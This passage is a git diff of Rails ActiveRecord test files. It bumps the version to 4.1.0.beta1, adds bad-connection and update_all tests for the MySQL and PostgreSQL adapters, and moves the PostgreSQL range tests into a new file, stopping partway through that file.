# Returns the version of the currently loaded ActiveRecord as a Gem::Version
def self.version
- Gem::Version.new "4.1.0.beta"
+ Gem::Version.new "4.1.0.beta1"
end
module VERSION #:nodoc:
diff --git a/activerecord/test/cases/adapter_test.rb b/activerecord/test/cases/adapter_test.rb
index 595edc6263..b67e70ec7e 100644
--- a/activerecord/test/cases/adapter_test.rb
+++ b/activerecord/test/cases/adapter_test.rb
@@ -92,7 +92,7 @@ module ActiveRecord
)
end
ensure
- ActiveRecord::Base.establish_connection 'arunit'
+ ActiveRecord::Base.establish_connection :arunit
end
end
end
@@ -178,6 +178,10 @@ module ActiveRecord
result = @connection.select_all "SELECT * FROM posts"
assert result.is_a?(ActiveRecord::Result)
end
+
+ test "type_to_sql returns a String for unmapped types" do
+ assert_equal "special_db_type", @connection.type_to_sql(:special_db_type)
+ end
end
class AdapterTestWithoutTransaction < ActiveRecord::TestCase
@@ -187,7 +191,7 @@ module ActiveRecord
end
def setup
- Klass.establish_connection 'arunit'
+ Klass.establish_connection :arunit
@connection = Klass.connection
end
diff --git a/activerecord/test/cases/adapters/mysql/connection_test.rb b/activerecord/test/cases/adapters/mysql/connection_test.rb
index a1b41b6991..5cd5d8ac5f 100644
--- a/activerecord/test/cases/adapters/mysql/connection_test.rb
+++ b/activerecord/test/cases/adapters/mysql/connection_test.rb
@@ -71,7 +71,7 @@ class MysqlConnectionTest < ActiveRecord::TestCase
def test_exec_no_binds
@connection.exec_query('drop table if exists ex')
@connection.exec_query(<<-eosql)
- CREATE TABLE `ex` (`id` int(11) DEFAULT NULL auto_increment PRIMARY KEY,
+ CREATE TABLE `ex` (`id` int(11) auto_increment PRIMARY KEY,
`data` varchar(255))
eosql
result = @connection.exec_query('SELECT id, data FROM ex')
@@ -93,7 +93,7 @@ class MysqlConnectionTest < ActiveRecord::TestCase
def test_exec_with_binds
@connection.exec_query('drop table if exists ex')
@connection.exec_query(<<-eosql)
- CREATE TABLE `ex` (`id` int(11) DEFAULT NULL auto_increment PRIMARY KEY,
+ CREATE TABLE `ex` (`id` int(11) auto_increment PRIMARY KEY,
`data` varchar(255))
eosql
@connection.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
@@ -109,7 +109,7 @@ class MysqlConnectionTest < ActiveRecord::TestCase
def test_exec_typecasts_bind_vals
@connection.exec_query('drop table if exists ex')
@connection.exec_query(<<-eosql)
- CREATE TABLE `ex` (`id` int(11) DEFAULT NULL auto_increment PRIMARY KEY,
+ CREATE TABLE `ex` (`id` int(11) auto_increment PRIMARY KEY,
`data` varchar(255))
eosql
@connection.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
diff --git a/activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb b/activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb
index 9ad0744aee..578f6301bd 100644
--- a/activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb
+++ b/activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb
@@ -10,12 +10,20 @@ module ActiveRecord
@conn.exec_query('drop table if exists ex')
@conn.exec_query(<<-eosql)
CREATE TABLE `ex` (
- `id` int(11) DEFAULT NULL auto_increment PRIMARY KEY,
+ `id` int(11) auto_increment PRIMARY KEY,
`number` integer,
`data` varchar(255))
eosql
end
+ def test_bad_connection_mysql
+ assert_raise ActiveRecord::NoDatabaseError do
+ configuration = ActiveRecord::Base.configurations['arunit'].merge(database: 'inexistent_activerecord_unittest')
+ connection = ActiveRecord::Base.mysql_connection(configuration)
+ connection.exec_query('drop table if exists ex')
+ end
+ end
+
def test_valid_column
column = @conn.columns('ex').find { |col| col.name == 'id' }
assert @conn.valid_type?(column.type)
@@ -75,7 +83,7 @@ module ActiveRecord
@conn.exec_query('drop table if exists ex_with_non_standard_pk')
@conn.exec_query(<<-eosql)
CREATE TABLE `ex_with_non_standard_pk` (
- `code` INT(11) DEFAULT NULL auto_increment,
+ `code` INT(11) auto_increment,
PRIMARY KEY (`code`))
eosql
pk, seq = @conn.pk_and_sequence_for('ex_with_non_standard_pk')
@@ -87,7 +95,7 @@ module ActiveRecord
@conn.exec_query('drop table if exists ex_with_custom_index_type_pk')
@conn.exec_query(<<-eosql)
CREATE TABLE `ex_with_custom_index_type_pk` (
- `id` INT(11) DEFAULT NULL auto_increment,
+ `id` INT(11) auto_increment,
PRIMARY KEY USING BTREE (`id`))
eosql
pk, seq = @conn.pk_and_sequence_for('ex_with_custom_index_type_pk')
diff --git a/activerecord/test/cases/adapters/mysql2/connection_test.rb b/activerecord/test/cases/adapters/mysql2/connection_test.rb
index 8dc1df1851..9b7202c915 100644
--- a/activerecord/test/cases/adapters/mysql2/connection_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/connection_test.rb
@@ -13,6 +13,14 @@ class MysqlConnectionTest < ActiveRecord::TestCase
super
end
+ def test_bad_connection
+ assert_raise ActiveRecord::NoDatabaseError do
+ configuration = ActiveRecord::Base.configurations['arunit'].merge(database: 'inexistent_activerecord_unittest')
+ connection = ActiveRecord::Base.mysql2_connection(configuration)
+ connection.exec_query('drop table if exists ex')
+ end
+ end
+
def test_no_automatic_reconnection_after_timeout
assert @connection.active?
@connection.update('set @@wait_timeout=1')
diff --git a/activerecord/test/cases/adapters/mysql2/explain_test.rb b/activerecord/test/cases/adapters/mysql2/explain_test.rb
index 68ed361aeb..1cd356e868 100644
--- a/activerecord/test/cases/adapters/mysql2/explain_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/explain_test.rb
@@ -10,15 +10,15 @@ module ActiveRecord
def test_explain_for_one_query
explain = Developer.where(:id => 1).explain
assert_match %(EXPLAIN for: SELECT `developers`.* FROM `developers` WHERE `developers`.`id` = 1), explain
- assert_match %(developers | const), explain
+ assert_match %r(developers |.* const), explain
end
def test_explain_with_eager_loading
explain = Developer.where(:id => 1).includes(:audit_logs).explain
assert_match %(EXPLAIN for: SELECT `developers`.* FROM `developers` WHERE `developers`.`id` = 1), explain
- assert_match %(developers | const), explain
+ assert_match %r(developers |.* const), explain
assert_match %(EXPLAIN for: SELECT `audit_logs`.* FROM `audit_logs` WHERE `audit_logs`.`developer_id` IN (1)), explain
- assert_match %(audit_logs | ALL), explain
+ assert_match %r(audit_logs |.* ALL), explain
end
end
end
diff --git a/activerecord/test/cases/adapters/mysql2/schema_test.rb b/activerecord/test/cases/adapters/mysql2/schema_test.rb
index 5db60ff8a0..43c9116b5a 100644
--- a/activerecord/test/cases/adapters/mysql2/schema_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/schema_test.rb
@@ -65,6 +65,15 @@ module ActiveRecord
assert_nil index_c.using
assert_equal :fulltext, index_c.type
end
+
+ def test_drop_temporary_table
+ @connection.transaction do
+ @connection.create_table(:temp_table, temporary: true)
+ # if it doesn't properly say DROP TEMPORARY TABLE, the transaction commit
+ # will complain that no transaction is active
+ @connection.drop_table(:temp_table, temporary: true)
+ end
+ end
end
end
end
diff --git a/activerecord/test/cases/adapters/postgresql/array_test.rb b/activerecord/test/cases/adapters/postgresql/array_test.rb
index 9536cceb1d..d71e2aa2bb 100644
--- a/activerecord/test/cases/adapters/postgresql/array_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/array_test.rb
@@ -10,12 +10,12 @@ class PostgresqlArrayTest < ActiveRecord::TestCase
def setup
@connection = ActiveRecord::Base.connection
- @connection.transaction do
- @connection.create_table('pg_arrays') do |t|
- t.string 'tags', array: true
- t.integer 'ratings', array: true
- end
+ @connection.transaction do
+ @connection.create_table('pg_arrays') do |t|
+ t.string 'tags', array: true
+ t.integer 'ratings', array: true
end
+ end
@column = PgArray.columns.find { |c| c.name == 'tags' }
end
@@ -26,6 +26,12 @@ class PostgresqlArrayTest < ActiveRecord::TestCase
def test_column
assert_equal :string, @column.type
assert @column.array
+ assert_not @column.text?
+
+ ratings_column = PgArray.columns_hash['ratings']
+ assert_equal :integer, ratings_column.type
+ assert ratings_column.array
+ assert_not ratings_column.number?
end
def test_change_column_with_array
@@ -50,8 +56,6 @@ class PostgresqlArrayTest < ActiveRecord::TestCase
end
def test_type_cast_array
- assert @column
-
data = '{1,2,3}'
oid_type = @column.instance_variable_get('@oid_type').subtype
# we are getting the instance variable in this test, but in the
@@ -66,6 +70,12 @@ class PostgresqlArrayTest < ActiveRecord::TestCase
assert_equal([nil], @column.type_cast('{NULL}'))
end
+ def test_type_cast_integers
+ x = PgArray.new(ratings: ['1', '2'])
+ assert x.save!
+ assert_equal(['1', '2'], x.ratings)
+ end
+
def test_rewrite
@connection.execute "insert into pg_arrays (tags) VALUES ('{1,2,3}')"
x = PgArray.first
@@ -118,6 +128,16 @@ class PostgresqlArrayTest < ActiveRecord::TestCase
assert_equal("[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, ...]", record.attribute_for_inspect(:ratings))
end
+ def test_update_all
+ pg_array = PgArray.create! tags: ["one", "two", "three"]
+
+ PgArray.update_all tags: ["four", "five"]
+ assert_equal ["four", "five"], pg_array.reload.tags
+
+ PgArray.update_all tags: []
+ assert_equal [], pg_array.reload.tags
+ end
+
private
def assert_cycle field, array
# test creation
diff --git a/activerecord/test/cases/adapters/postgresql/datatype_test.rb b/activerecord/test/cases/adapters/postgresql/datatype_test.rb
index 01de202d11..04a458fbce 100644
--- a/activerecord/test/cases/adapters/postgresql/datatype_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/datatype_test.rb
@@ -3,9 +3,6 @@ require "cases/helper"
class PostgresqlArray < ActiveRecord::Base
end
-class PostgresqlRange < ActiveRecord::Base
-end
-
class PostgresqlTsvector < ActiveRecord::Base
end
@@ -46,104 +43,6 @@ class PostgresqlDataTypeTest < ActiveRecord::TestCase
@connection.execute("INSERT INTO postgresql_arrays (id, commission_by_quarter, nicknames) VALUES (1, '{35000,21000,18000,17000}', '{foo,bar,baz}')")
@first_array = PostgresqlArray.find(1)
- @connection.execute <<_SQL if @connection.supports_ranges?
- INSERT INTO postgresql_ranges (
- date_range,
- num_range,
- ts_range,
- tstz_range,
- int4_range,
- int8_range
- ) VALUES (
- '[''2012-01-02'', ''2012-01-04'']',
- '[0.1, 0.2]',
- '[''2010-01-01 14:30'', ''2011-01-01 14:30'']',
- '[''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'']',
- '[1, 10]',
- '[10, 100]'
- )
-_SQL
-
- @connection.execute <<_SQL if @connection.supports_ranges?
- INSERT INTO postgresql_ranges (
- date_range,
- num_range,
- ts_range,
- tstz_range,
- int4_range,
- int8_range
- ) VALUES (
- '(''2012-01-02'', ''2012-01-04'')',
- '[0.1, 0.2)',
- '[''2010-01-01 14:30'', ''2011-01-01 14:30'')',
- '[''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'')',
- '(1, 10)',
- '(10, 100)'
- )
-_SQL
-
- @connection.execute <<_SQL if @connection.supports_ranges?
- INSERT INTO postgresql_ranges (
- date_range,
- num_range,
- ts_range,
- tstz_range,
- int4_range,
- int8_range
- ) VALUES (
- '(''2012-01-02'',]',
- '[0.1,]',
- '[''2010-01-01 14:30'',]',
- '[''2010-01-01 14:30:00+05'',]',
- '(1,]',
- '(10,]'
- )
-_SQL
-
- @connection.execute <<_SQL if @connection.supports_ranges?
- INSERT INTO postgresql_ranges (
- date_range,
- num_range,
- ts_range,
- tstz_range,
- int4_range,
- int8_range
- ) VALUES (
- '[,]',
- '[,]',
- '[,]',
- '[,]',
- '[,]',
- '[,]'
- )
-_SQL
-
- @connection.execute <<_SQL if @connection.supports_ranges?
- INSERT INTO postgresql_ranges (
- date_range,
- num_range,
- ts_range,
- tstz_range,
- int4_range,
- int8_range
- ) VALUES (
- '(''2012-01-02'', ''2012-01-02'')',
- '(0.1, 0.1)',
- '(''2010-01-01 14:30'', ''2010-01-01 14:30'')',
- '(''2010-01-01 14:30:00+05'', ''2010-01-01 06:30:00-03'')',
- '(1, 1)',
- '(10, 10)'
- )
-_SQL
-
- if @connection.supports_ranges?
- @first_range = PostgresqlRange.find(1)
- @second_range = PostgresqlRange.find(2)
- @third_range = PostgresqlRange.find(3)
- @fourth_range = PostgresqlRange.find(4)
- @empty_range = PostgresqlRange.find(5)
- end
-
@connection.execute("INSERT INTO postgresql_tsvectors (id, text_vector) VALUES (1, ' ''text'' ''vector'' ')")
@first_tsvector = PostgresqlTsvector.find(1)
@@ -230,187 +129,6 @@ _SQL
assert_equal "'text' 'vector'", @first_tsvector.text_vector
end
- if ActiveRecord::Base.connection.supports_ranges?
- def test_data_type_of_range_types
- assert_equal :daterange, @first_range.column_for_attribute(:date_range).type
- assert_equal :numrange, @first_range.column_for_attribute(:num_range).type
- assert_equal :tsrange, @first_range.column_for_attribute(:ts_range).type
- assert_equal :tstzrange, @first_range.column_for_attribute(:tstz_range).type
- assert_equal :int4range, @first_range.column_for_attribute(:int4_range).type
- assert_equal :int8range, @first_range.column_for_attribute(:int8_range).type
- end
-
- def test_int4range_values
- assert_equal 1...11, @first_range.int4_range
- assert_equal 2...10, @second_range.int4_range
- assert_equal 2...Float::INFINITY, @third_range.int4_range
- assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.int4_range)
- assert_nil @empty_range.int4_range
- end
-
- def test_int8range_values
- assert_equal 10...101, @first_range.int8_range
- assert_equal 11...100, @second_range.int8_range
- assert_equal 11...Float::INFINITY, @third_range.int8_range
- assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.int8_range)
- assert_nil @empty_range.int8_range
- end
-
- def test_daterange_values
- assert_equal Date.new(2012, 1, 2)...Date.new(2012, 1, 5), @first_range.date_range
- assert_equal Date.new(2012, 1, 3)...Date.new(2012, 1, 4), @second_range.date_range
- assert_equal Date.new(2012, 1, 3)...Float::INFINITY, @third_range.date_range
- assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.date_range)
- assert_nil @empty_range.date_range
- end
-
- def test_numrange_values
- assert_equal BigDecimal.new('0.1')..BigDecimal.new('0.2'), @first_range.num_range
- assert_equal BigDecimal.new('0.1')...BigDecimal.new('0.2'), @second_range.num_range
- assert_equal BigDecimal.new('0.1')...BigDecimal.new('Infinity'), @third_range.num_range
- assert_equal BigDecimal.new('-Infinity')...BigDecimal.new('Infinity'), @fourth_range.num_range
- assert_nil @empty_range.num_range
- end
-
- def test_tsrange_values
- tz = ::ActiveRecord::Base.default_timezone
- assert_equal Time.send(tz, 2010, 1, 1, 14, 30, 0)..Time.send(tz, 2011, 1, 1, 14, 30, 0), @first_range.ts_range
- assert_equal Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 1, 1, 14, 30, 0), @second_range.ts_range
- assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.ts_range)
- assert_nil @empty_range.ts_range
- end
-
- def test_tstzrange_values
- assert_equal Time.parse('2010-01-01 09:30:00 UTC')..Time.parse('2011-01-01 17:30:00 UTC'), @first_range.tstz_range
- assert_equal Time.parse('2010-01-01 09:30:00 UTC')...Time.parse('2011-01-01 17:30:00 UTC'), @second_range.tstz_range
- assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.tstz_range)
- assert_nil @empty_range.tstz_range
- end
-
- def test_create_tstzrange
- tstzrange = Time.parse('2010-01-01 14:30:00 +0100')...Time.parse('2011-02-02 14:30:00 CDT')
- range = PostgresqlRange.new(:tstz_range => tstzrange)
- assert range.save
- assert range.reload
- assert_equal range.tstz_range, tstzrange
- assert_equal range.tstz_range, Time.parse('2010-01-01 13:30:00 UTC')...Time.parse('2011-02-02 19:30:00 UTC')
- end
-
- def test_update_tstzrange
- new_tstzrange = Time.parse('2010-01-01 14:30:00 CDT')...Time.parse('2011-02-02 14:30:00 CET')
- @first_range.tstz_range = new_tstzrange
- assert @first_range.save
- assert @first_range.reload
- assert_equal new_tstzrange, @first_range.tstz_range
- @first_range.tstz_range = Time.parse('2010-01-01 14:30:00 +0100')...Time.parse('2010-01-01 13:30:00 +0000')
- assert @first_range.save
- assert @first_range.reload
- assert_nil @first_range.tstz_range
- end
-
- def test_create_tsrange
- tz = ::ActiveRecord::Base.default_timezone
- tsrange = Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 2, 2, 14, 30, 0)
- range = PostgresqlRange.new(:ts_range => tsrange)
- assert range.save
- assert range.reload
- assert_equal range.ts_range, tsrange
- end
-
- def test_update_tsrange
- tz = ::ActiveRecord::Base.default_timezone
- new_tsrange = Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 2, 2, 14, 30, 0)
- @first_range.ts_range = new_tsrange
- assert @first_range.save
- assert @first_range.reload
- assert_equal new_tsrange, @first_range.ts_range
- @first_range.ts_range = Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2010, 1, 1, 14, 30, 0)
- assert @first_range.save
- assert @first_range.reload
- assert_nil @first_range.ts_range
- end
-
- def test_create_numrange
- numrange = BigDecimal.new('0.5')...BigDecimal.new('1')
- range = PostgresqlRange.new(:num_range => numrange)
- assert range.save
- assert range.reload
- assert_equal range.num_range, numrange
- end
-
- def test_update_numrange
- new_numrange = BigDecimal.new('0.5')...BigDecimal.new('1')
- @first_range.num_range = new_numrange
- assert @first_range.save
- assert @first_range.reload
- assert_equal new_numrange, @first_range.num_range
- @first_range.num_range = BigDecimal.new('0.5')...BigDecimal.new('0.5')
- assert @first_range.save
- assert @first_range.reload
- assert_nil @first_range.num_range
- end
-
- def test_create_daterange
- daterange = Range.new(Date.new(2012, 1, 1), Date.new(2013, 1, 1), true)
- range = PostgresqlRange.new(:date_range => daterange)
- assert range.save
- assert range.reload
- assert_equal range.date_range, daterange
- end
-
- def test_update_daterange
- new_daterange = Date.new(2012, 2, 3)...Date.new(2012, 2, 10)
- @first_range.date_range = new_daterange
- assert @first_range.save
- assert @first_range.reload
- assert_equal new_daterange, @first_range.date_range
- @first_range.date_range = Date.new(2012, 2, 3)...Date.new(2012, 2, 3)
- assert @first_range.save
- assert @first_range.reload
- assert_nil @first_range.date_range
- end
-
- def test_create_int4range
- int4range = Range.new(3, 50, true)
- range = PostgresqlRange.new(:int4_range => int4range)
- assert range.save
- assert range.reload
- assert_equal range.int4_range, int4range
- end
-
- def test_update_int4range
- new_int4range = 6...10
- @first_range.int4_range = new_int4range
- assert @first_range.save
- assert @first_range.reload
- assert_equal new_int4range, @first_range.int4_range
- @first_range.int4_range = 3...3
- assert @first_range.save
- assert @first_range.reload
- assert_nil @first_range.int4_range
- end
-
- def test_create_int8range
- int8range = Range.new(30, 50, true)
- range = PostgresqlRange.new(:int8_range => int8range)
- assert range.save
- assert range.reload
- assert_equal range.int8_range, int8range
- end
-
- def test_update_int8range
- new_int8range = 60000...10000000
- @first_range.int8_range = new_int8range
- assert @first_range.save
- assert @first_range.reload
- assert_equal new_int8range, @first_range.int8_range
- @first_range.int8_range = 39999...39999
- assert @first_range.save
- assert @first_range.reload
- assert_nil @first_range.int8_range
- end
- end
-
def test_money_values
assert_equal 567.89, @first_money.wealth
assert_equal(-567.89, @second_money.wealth)
diff --git a/activerecord/test/cases/adapters/postgresql/hstore_test.rb b/activerecord/test/cases/adapters/postgresql/hstore_test.rb
index 2845413575..d8782f5eaa 100644
--- a/activerecord/test/cases/adapters/postgresql/hstore_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/hstore_test.rb
@@ -70,6 +70,23 @@ class PostgresqlHstoreTest < ActiveRecord::TestCase
Hstore.reset_column_information
end
+ def test_hstore_migration
+ hstore_migration = Class.new(ActiveRecord::Migration) do
+ def change
+ change_table("hstores") do |t|
+ t.hstore :keys
+ end
+ end
+ end
+
+ hstore_migration.new.suppress_messages do
+ hstore_migration.migrate(:up)
+ assert_includes @connection.columns(:hstores).map(&:name), "keys"
+ hstore_migration.migrate(:down)
+ assert_not_includes @connection.columns(:hstores).map(&:name), "keys"
+ end
+ end
+
def test_cast_value_on_write
x = Hstore.new tags: {"bool" => true, "number" => 5}
assert_equal({"bool" => "true", "number" => "5"}, x.tags)
@@ -206,6 +223,16 @@ class PostgresqlHstoreTest < ActiveRecord::TestCase
def test_multiline
assert_cycle("a\nb" => "c\nd")
end
+
+ def test_update_all
+ hstore = Hstore.create! tags: { "one" => "two" }
+
+ Hstore.update_all tags: { "three" => "four" }
+ assert_equal({ "three" => "four" }, hstore.reload.tags)
+
+ Hstore.update_all tags: { }
+ assert_equal({ }, hstore.reload.tags)
+ end
end
private
diff --git a/activerecord/test/cases/adapters/postgresql/json_test.rb b/activerecord/test/cases/adapters/postgresql/json_test.rb
index c33c7ef968..01e7334aad 100644
--- a/activerecord/test/cases/adapters/postgresql/json_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/json_test.rb
@@ -121,4 +121,14 @@ class PostgresqlJSONTest < ActiveRecord::TestCase
x = JsonDataType.first
assert_equal "640×1136", x.resolution
end
+
+ def test_update_all
+ json = JsonDataType.create! payload: { "one" => "two" }
+
+ JsonDataType.update_all payload: { "three" => "four" }
+ assert_equal({ "three" => "four" }, json.reload.payload)
+
+ JsonDataType.update_all payload: { }
+ assert_equal({ }, json.reload.payload)
+ end
end
diff --git a/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb b/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb
index 8b017760b1..131080913c 100644
--- a/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb
@@ -10,6 +10,14 @@ module ActiveRecord
@connection.exec_query('create table ex(id serial primary key, number integer, data character varying(255))')
end
+ def test_bad_connection
+ assert_raise ActiveRecord::NoDatabaseError do
+ configuration = ActiveRecord::Base.configurations['arunit'].merge(database: 'should_not_exist-cinco-dog-db')
+ connection = ActiveRecord::Base.postgresql_connection(configuration)
+ connection.exec_query('drop table if exists ex')
+ end
+ end
+
def test_valid_column
column = @connection.columns('ex').find { |col| col.name == 'id' }
assert @connection.valid_type?(column.type)
@@ -62,6 +70,18 @@ module ActiveRecord
assert_equal expect, id
end
+ def test_multiline_insert_sql
+ id = @connection.insert_sql(<<-SQL)
+ insert into ex(
+ number)
+ values(
+ 5152
+ )
+ SQL
+ expect = @connection.query('select max(id) from ex').first.first
+ assert_equal expect, id
+ end
+
def test_insert_sql_with_returning_disabled
connection = connection_without_insert_returning
id = connection.insert_sql("insert into postgresql_partitioned_table_parent (number) VALUES (1)")
diff --git a/activerecord/test/cases/adapters/postgresql/range_test.rb b/activerecord/test/cases/adapters/postgresql/range_test.rb
new file mode 100644
index 0000000000..a56b8ac791
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/range_test.rb
@@ -0,0 +1,245 @@
+require "cases/helper"
+require 'active_record/base'
+require 'active_record/connection_adapters/postgresql_adapter'
+
+if ActiveRecord::Base.connection.supports_ranges?
+ class PostgresqlRange < ActiveRecord::Base
+ self.table_name = "postgresql_ranges"
+ end
+
+ class PostgresqlRangeTest < ActiveRecord::TestCase
+ def teardown
+ @connection.execute 'DROP TABLE IF EXISTS postgresql_ranges'
+ end
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+ begin
+ @connection.transaction do
+ @connection.create_table('postgresql_ranges') do |t|
+ t.daterange :date_range
+ t.numrange :num_range
+ t.tsrange :ts_range
+ t.tstzrange :tstz_range
+ t.int4range :int4_range
+ t.int8range :int8_range
+ end
+ end
+ rescue ActiveRecord::StatementInvalid
+ return skip "do not test on PG without range"
+ end
+
+ insert_range(id: 101,
+ date_range: "[''2012-01-02'', ''2012-01-04'']",
+ num_range: "[0.1, 0.2]",
+ ts_range: "[''2010-01-01 14:30'', ''2011-01-01 14:30'']",
+ tstz_range: "[''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'']",
+ int4_range: "[1, 10]",
+ int8_range: "[10, 100]")
+
+ insert_range(id: 102,
+ date_range: "(''2012-01-02'', ''2012-01-04'')",
+ num_range: "[0.1, 0.2)",
+ ts_range: "[''2010-01-01 14:30'', ''2011-01-01 14:30'')",
+ tstz_range: "[''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'')",
+ int4_range: "(1, 10)",
+ int8_range: "(10, 100)")
+
+ insert_range(id: 103,
+ date_range: "(''2012-01-02'',]",
+ num_range: "[0.1,]",
+ ts_range: "[''2010-01-01 14:30'',]",
+ tstz_range: "[''2010-01-01 14:30:00+05'',]",
+ int4_range: "(1,]",
+ int8_range: "(10,]")
+
+ insert_range(id: 104,
+ date_range: "[,]",
+ num_range: "[,]",
+ ts_range: "[,]",
+ tstz_range: "[,]",
+ int4_range: "[,]",
+ int8_range: "[,]")
+
+ insert_range(id: 105,
+ date_range: "(''2012-01-02'', ''2012-01-02'')",
+ num_range: "(0.1, 0.1)",
+ ts_range: "(''2010-01-01 14:30'', ''2010-01-01 14:30'')",
+ tstz_range: "(''2010-01-01 14:30:00+05'', ''2010-01-01 06:30:00-03'')",
+ int4_range: "(1, 1)",
+ int8_range: "(10, 10)")
+
+ @new_range = PostgresqlRange.new
+ @first_range = PostgresqlRange.find(101)
+ @second_range = PostgresqlRange.find(102)
+ @third_range = PostgresqlRange.find(103)
+ @fourth_range = PostgresqlRange.find(104)
+ @empty_range = PostgresqlRange.find(105)
+ end
+
+ def test_data_type_of_range_types
+ assert_equal :daterange, @first_range.column_for_attribute(:date_range).type
+ assert_equal :numrange, @first_range.column_for_attribute(:num_range).type
+ assert_equal :tsrange, @first_range.column_for_attribute(:ts_range).type
+ assert_equal :tstzrange, @first_range.column_for_attribute(:tstz_range).type
+ assert_equal :int4range, @first_range.column_for_attribute(:int4_range).type
+ assert_equal :int8range, @first_range.column_for_attribute(:int8_range).type
+ end
+
+ def test_int4range_values
+ assert_equal 1...11, @first_range.int4_range
+ assert_equal 2...10, @second_range.int4_range
+ assert_equal 2...Float::INFINITY, @third_range.int4_range
+ assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.int4_range)
+ assert_nil @empty_range.int4_range
+ end
+
+ def test_int8range_values
+ assert_equal 10...101, @first_range.int8_range
+ assert_equal 11...100, @second_range.int8_range
+ assert_equal 11...Float::INFINITY, @third_range.int8_range
+ assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.int8_range)
+ assert_nil @empty_range.int8_range
+ end
+
+ def test_daterange_values
+ assert_equal Date.new(2012, 1, 2)...Date.new(2012, 1, 5), @first_range.date_range
+ assert_equal Date.new(2012, 1, 3)...Date.new(2012, 1, 4), @second_range.date_range
+ assert_equal Date.new(2012, 1, 3)...Float::INFINITY, @third_range.date_range
+ assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.date_range)
+ assert_nil @empty_range.date_range
+ end
+
+ def test_numrange_values
+ assert_equal BigDecimal.new('0.1')..BigDecimal.new('0.2'), @first_range.num_range
+ assert_equal BigDecimal.new('0.1')...BigDecimal.new('0.2'), @second_range.num_range
+ assert_equal BigDecimal.new('0.1')...BigDecimal.new('Infinity'), @third_range.num_range
+ assert_equal BigDecimal.new('-Infinity')...BigDecimal.new('Infinity'), @fourth_range.num_range
+ assert_nil @empty_range.num_range
+ end
+
+ def test_tsrange_values
+ tz = ::ActiveRecord::Base.default_timezone
+ assert_equal Time.send(tz, 2010, 1, 1, 14, 30, 0)..Time.send(tz, 2011, 1, 1, 14, 30, 0), @first_range.ts_range
+ assert_equal Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 1, 1, 14, 30, 0), @second_range.ts_range
+ assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.ts_range)
+ assert_nil @empty_range.ts_range
+ end
+
+ def test_tstzrange_values
+ assert_equal Time.parse('2010-01-01 09:30:00 UTC')..Time.parse('2011-01-01 17:30:00 UTC'), @first_range.tstz_range
+ assert_equal Time.parse('2010-01-01 09:30:00 UTC')...Time.parse('2011-01-01 17:30:00 UTC'), @second_range.tstz_range
+ assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.tstz_range)
+ assert_nil @empty_range.tstz_range
+ end
+
+ def test_create_tstzrange
+ tstzrange = Time.parse('2010-01-01 14:30:00 +0100')...Time.parse('2011-02-02 14:30:00 CDT')
+ round_trip(@new_range, :tstz_range, tstzrange)
+ assert_equal @new_range.tstz_range, tstzrange
+ assert_equal @new_range.tstz_range, Time.parse('2010-01-01 13:30:00 UTC')...Time.parse('2011-02-02 19:30:00 UTC')
+ end
+
+ def test_update_tstzrange
+ assert_equal_round_trip(@first_range, :tstz_range,
+ Time.parse('2010-01-01 14:30:00 CDT')...Time.parse('2011-02-02 14:30:00 CET'))
+ assert_nil_round_trip(@first_range, :tstz_range,
+ Time.parse('2010-01-01 14:30:00 +0100')...Time.parse('2010-01-01 13:30:00 +0000'))
+ end
+
+ def test_create_tsrange
+ tz = ::ActiveRecord::Base.default_timezone
+ assert_equal_round_trip(@new_range, :ts_range,
+ Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 2, 2, 14, 30, 0))
+ end
+
+ def test_update_tsrange
+ tz = ::ActiveRecord::Base.default_timezone
+ assert_equal_round_trip(@first_range, :ts_range,
+ Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 2, 2, 14, 30, 0))
+ assert_nil_round_trip(@first_range, :ts_range,
+ Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2010, 1, 1, 14, 30, 0))
+ end
+
+ def test_create_numrange
+ assert_equal_round_trip(@new_range, :num_range,
+ BigDecimal.new('0.5')...BigDecimal.new('1'))
+ end
+
+ def test_update_numrange
+ assert_equal_round_trip(@first_range, :num_range,
+ BigDecimal.new('0.5')...BigDecimal.new('1'))
+ assert_nil_round_trip(@first_range, :num_range,
+ BigDecimal.new('0.5')...BigDecimal.new('0.5'))
+ end
+
+ def test_create_daterange
